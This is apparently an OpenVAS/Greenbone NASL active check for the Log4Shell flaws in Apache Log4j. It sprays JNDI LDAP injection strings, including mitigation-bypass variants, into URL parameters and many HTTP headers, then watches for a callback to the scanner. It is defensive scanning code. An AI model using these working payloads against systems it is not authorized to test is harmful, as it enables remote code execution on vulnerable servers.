Apache Log4j 2.0.x Multiple Vulnerabilities (Web Application URL Parameter, Log4Shell) - Active Check

# Copyright (C) 2022 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.113861");
  script_version("2023-02-16T10:19:47+0000");
  script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
  script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
  script_cve_id("CVE-2021-44228", "CVE-2021-45046");
  script_tag(name:"last_modification", value:"2023-02-16 10:19:47 +0000 (Thu, 16 Feb 2023)");
  script_tag(name:"creation_date", value:"2022-03-30 05:31:26 +0000 (Wed, 30 Mar 2022)");
  script_tag(name:"cvss_base", value:"9.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2021-12-14 01:15:00 +0000 (Tue, 14 Dec 2021)");
  script_name("Apache Log4j 2.0.x Multiple Vulnerabilities (Web Application URL Parameter, Log4Shell) - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2022 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning", "global_settings/disable_generic_webapp_scanning");

  script_xref(name:"URL", value:"https://logging.apache.org/log4j/2.x/security.html");
  script_xref(name:"URL", value:"https://issues.apache.org/jira/browse/LOG4J2-3198");
  script_xref(name:"URL", value:"https://issues.apache.org/jira/browse/LOG4J2-3201");
  script_xref(name:"URL", value:"https://github.com/apache/logging-log4j2/pull/607");
  script_xref(name:"URL", value:"https://github.com/apache/logging-log4j2/pull/608");
  script_xref(name:"URL", value:"https://github.com/advisories/GHSA-jfh8-c2jp-5v3q");
  script_xref(name:"URL", value:"https://www.openwall.com/lists/oss-security/2021/12/10/1");
  script_xref(name:"URL", value:"https://www.lunasec.io/docs/blog/log4j-zero-day/");
  script_xref(name:"URL", value:"https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/");
  script_xref(name:"URL", value:"https://www.cyberkendra.com/2021/12/worst-log4j-rce-zeroday-dropped-on.html");
  script_xref(name:"URL", value:"https://github.com/YfryTchsGD/Log4jAttackSurface");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html");
  script_xref(name:"URL", value:"https://github.com/tangxiaofeng7/apache-log4j-poc");
  script_xref(name:"URL", value:"https://github.com/0x0021h/apache-log4j-rce");
  script_xref(name:"URL", value:"https://securitylab.github.com/advisories/GHSL-2021-1054_GHSL-2021-1055_log4j2/");

  script_tag(name:"summary", value:"Apache Log4j is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends various crafted HTTP requests to previously spidered URL
  parameters (e.g. /index.php?parameter=exploit) of a web application and checks the responses.

  Notes:

  - For a successful detection of this flaw the target host needs to be able to reach the scanner
  host on a TCP port randomly generated during the runtime of the VT (currently in the range of
  10000-32000).

  - Due to the long expected run time of this VT it is currently not enabled / running by default.
  Please set the 'Enable generic web application scanning' setting within the VT
  'Global variable settings' (OID: 1.3.6.1.4.1.25623.1.0.12288) to 'yes' if you want to run this
  script.");

  script_tag(name:"insight", value:"The following vulnerabilities exist:

  CVE-2021-44228: Apache Log4j2 JNDI features used in configuration, log messages, and parameters do
  not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can
  control log messages or log message parameters can execute arbitrary code loaded from LDAP servers
  when message lookup substitution is enabled. This vulnerability is dubbed 'Log4Shell'.

  CVE-2021-45046: Denial of Service (DoS) and a possible remote code execution (RCE) in certain
  non-default configurations.");

  script_tag(name:"affected", value:"Apache Log4j versions 2.0.x.");

  script_tag(name:"solution", value:"Update Apache Log4j to version 2.12.2, 2.16.0 or later.

  If Apache Log4j is embedded into a specific product please contact the vendor of the product for
  additional info on the availability of updates.");

  script_tag(name:"qod_type", value:"exploit");
  script_tag(name:"solution_type", value:"VendorFix");

  # nb: We currently have 6 payloads * 2 injection points with a sum of 12 request. Each request has
  # a timeout of 3 seconds (defined in the send_capture() call) means a run time of 36 seconds for
  # every single found dir. On large web pages there might be a large list of found URL parameter so
  # a quite high timeout was chosen here because the user needs to explicitly enable this VT and
  # accept that scans are taking longer than usual.
  script_timeout(1800);

  exit(0);
}

# nb: We also don't want to run if optimize_test is set to "no"
if( get_kb_item( "global_settings/disable_generic_webapp_scanning" ) )
  exit( 0 );

include("host_details.inc");
include("http_func.inc");
include("http_header_func.inc");
include("misc_func.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("pcap_func.inc");

ownip = this_host();
targetip = get_host_ip();

# nb: No need to run against a GOS / GSM as we know that the system isn't using Java / Log4j at all
# and thus waste scanning time on self scans.
if( executed_on_gos() ) {
  if( ownip == targetip || islocalhost() ) {
    exit( 99 ); # EXIT_NOTVULN
  }
}

function _check_url( injection_point, payload, url, header_list, port, filter, rnd_port ) {

  local_var injection_point, payload, url, header_list, port, filter, rnd_port;
  local_var headers_with_payload, req, soc, res;
  local_var ip_vers_hex, src_ip, dst_ip, report;

  if( injection_point == "Headers" ) {

    headers_with_payload = http_hdr_add_value( value:payload, header_list:header_list );

    # For the Authorization header we're passing a valid "Basic" string before our payload
    headers_with_payload["Authorization"] = "Basic " + payload;

    # nb: User-Agent and Accept headers needs to be handled separately because both have an own
    # parameter in http_get_req().
    req = http_get_req( port:port, url:url, user_agent:payload, accept_header:payload, add_headers:headers_with_payload );

    # nb: http_get_req() is already adding the "Accept-Language" header by default so we're just
    # overwriting it here after crafting the initial request.
    req = ereg_replace( string:req, pattern:'(Accept-Language:[^\r\n]+\r\n)', replace:'Accept-Language: ' + payload + '\r\n' );
  }

  # nb: When using a modificated URL we don't want to add additional headers (at least for now).
  else {
    req = http_get_req( port:port, url:url );
  }

  # nb: Always keep http_get_req() before open_sock_tcp() as the first could fork with multiple
  # vhosts and the child's would share the same socket causing race conditions and similar.
  if( ! soc = open_sock_tcp( port ) )
    continue;

  res = send_capture( socket:soc, data:req, timeout:3, pcap_filter:filter );
  close( soc );

  if( res ) {

    # nb: We need to call the correct get_ip_*element() function below depending on the IP version
    # of the received IP packet.
    ip_vers_hex = hexstr( res[0] );
    if( ip_vers_hex[0] == 4 ) {
      src_ip = get_ip_element( ip:res, element:"ip_src" );
      dst_ip = get_ip_element( ip:res, element:"ip_dst" );
    } else if( ip_vers_hex[0] == 6 ) {
      src_ip = get_ipv6_element( ipv6:res, element:"ip6_src" );
      dst_ip = get_ipv6_element( ipv6:res, element:"ip6_dst" );
    }

    if( ! src_ip )
      src_ip = "N/A";

    if( ! dst_ip )
      dst_ip = "N/A";

    # Note that we can't do a reporting of our sent HTTP request as there might be race
    # conditions with e.g. delayed responses which would make our VT to report the wrong HTTP
    # request. It would also require to use a random port for every single sub dir, payload
    # and injection point which is something we can't do as well.
    report = 'It was possible to trigger the vulnerability and make the remote host sending a request back to the scanner host (Details on the received packet follows).\n\n';
    report += "Destination IP:   " + dst_ip + ' (receiving IP on scanner host side)\n';
    report += "Destination port: " + rnd_port + '/tcp (receiving port on scanner host side)\n';
    report += "Originating IP:   " + src_ip + " (originating IP from target host side)";
    security_message( port:port, data:report );
    exit( 0 );
  }
}

port = http_get_port( default:80 );
host = http_host_name( dont_add_port:TRUE );

# nb: None found so nothing to do as gb_log4j_CVE-2021-44228_http_web_dirs_active.nasl is checking
# some generic URLs with parameters.
if( ! cgis_nd_param_split = http_get_kb_cgis( port:port, host:host ) )
  exit( 0 );

# nb: Shouldn't happen if above isn't empty but still checking just to be sure...
if( ! cgis_full = http_get_kb_cgis_full( port:port, host:host ) )
  exit( 0 );

ownhostname = this_host_name();
src_filter = pcap_src_ip_filter_from_hostnames();
# nb: We're currently using 10000-32000 to not get in conflict with the ephemeral port range used by
# most standard Linux/Unix operating systems. If we're choosing a port of that range we might have
# false positives due to race conditions (target is sending back a response to a request of another
# VT for which the scanner had chosen the same source port).
# This is also done outside of the forach loop as we don't want to have used a separate random port
# for every single request and for each dir. This is done like this because we might exceed the
# random port list on large web apps quite easily which could cause false positives or similar if
# the same random port is used by another VT.
rnd_port = rand_int_range( min:10000, max:32000 );
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
filter = string( "tcp and dst port ", rnd_port, " and ", src_filter, " and ", dst_filter );

payloads = make_list(
  # Original PoC for CVE-2021-44228
  "${jndi:ldap://" + ownip + ":" + rnd_port + "/a}",
  "${jndi:ldap://" + ownhostname + ":" + rnd_port + "/a}",
  # Bypass of the "allowedLdapHost" mitigation in Log4j 2.15.0:
  # https://twitter.com/marcioalm/status/1471740771581652995
  # Some reports on the net says that a valid hostname needs to be given after "#" but we check the
  # IP as well just to be sure...
  "${jndi:ldap://127.0.0.1#" + ownip + ":" + rnd_port + "/a}",
  "${jndi:ldap://127.0.0.1#" + ownhostname + ":" + rnd_port + "/a}",
  # Also try with the localhost variant just to be sure...
  "${jndi:ldap://localhost#" + ownip + ":" + rnd_port + "/a}",
  "${jndi:ldap://localhost#" + ownhostname + ":" + rnd_port + "/a}"
);

injection_points = make_list(
  # Various generic headers
  "Headers",
  # For injection via a URL, this is done separately and without any additional headers.
  "URL-param"
);

# nb: Used outside of the foreach loops because we don't want to create the very same list multiple
# times.
#
# Notes on a few of the returned headers and the affected systems:
# Cookie: Seen on a specific Apache OFBiz Cookie
# X-Forwarded-For: Seen on VMware vCenter on a specific endpoint
# If-Modified-Since: Seen on Apache Struts 2 for specific static content
# Accept-Language: Seen on VMWare Horizon Server /portal/info.jsp
# X-Api-Version: Seen on a vulnerable PoC docker container
#
# nb: User-Agent, Accept-Language and Accept headers needs to be handled separately so these are excluded.
exclude_hdr_list = make_list( "User-Agent", "Accept-Language", "Accept" );

header_list = http_hdr_get_common_list( exclude_hdr_list:exclude_hdr_list );

foreach injection_point( injection_points ) {

  foreach payload( payloads ) {

    # nb: This part adds the payload to each found URL parameter.

    if( injection_point == "URL-param" ) {

      foreach cgi( cgis_nd_param_split ) {

        cgiArray = split( cgi, sep:" ", keep:FALSE );

        urls = http_create_exploit_req( cgiArray:cgiArray, ex:payload );
        foreach url( urls ) {
          _check_url( injection_point:injection_point, payload:payload, url:url, header_list:header_list, port:port, filter:filter, rnd_port:rnd_port );
        }
      }
    }

    # nb: And this one just uses the URL like /url?param=value and adds the payload to the headers.
    else {

      foreach cgi( cgis_full ) {
        _check_url( injection_point:injection_point, payload:payload, url:cgi, header_list:header_list, port:port, filter:filter, rnd_port:rnd_port );
      }
    }
  }
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host.
exit( 0 );